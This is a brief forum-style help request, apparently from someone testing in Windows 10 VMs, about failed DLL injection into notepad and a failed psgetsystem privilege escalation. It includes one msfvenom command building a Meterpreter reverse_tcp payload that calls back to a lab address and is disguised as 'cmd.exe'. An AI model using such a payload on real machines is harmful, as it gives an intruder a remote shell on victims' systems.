I attempted to inject a dll generated through msfvenom in a notepad process however i get a big list of errors. I tried running the command in an elevated prompt too however I got the same results. I tried the method on two different Windows 10 VMs.
also i have used for the
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.16 lport=4443 -f exe >cmd.exe
my victim machine is of 32-bits
Also the psgetsystem didnt work even with Admin privs.